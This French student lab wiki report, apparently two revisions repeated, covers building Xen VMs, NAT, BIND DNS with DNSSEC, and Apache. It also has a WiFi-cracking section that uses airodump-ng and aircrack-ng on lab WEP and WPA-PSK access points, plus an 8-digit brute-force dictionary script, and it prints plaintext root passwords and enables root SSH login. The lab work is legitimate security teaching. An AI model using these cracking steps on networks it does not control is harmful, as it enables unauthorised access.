</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT

ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3

==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4</code>

Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :

<code>aircrack-ng airodump-01.cap</code>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>ou alors avec crunch :

<code>crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt</code>

Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :<code>sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13</code>

Et ensuite après avoir récuperer 1 data minimum :

<code>aircrack-ng airodump-01.cap</code>
=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-10T14:09:51Z

Cpayet : /* Utiles */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT

ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3

==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:54 -c4 --write log_airodump</code>

Et ensuite après avir récuperer 5000 data :

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:54 log_airodump-01.cap</code>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

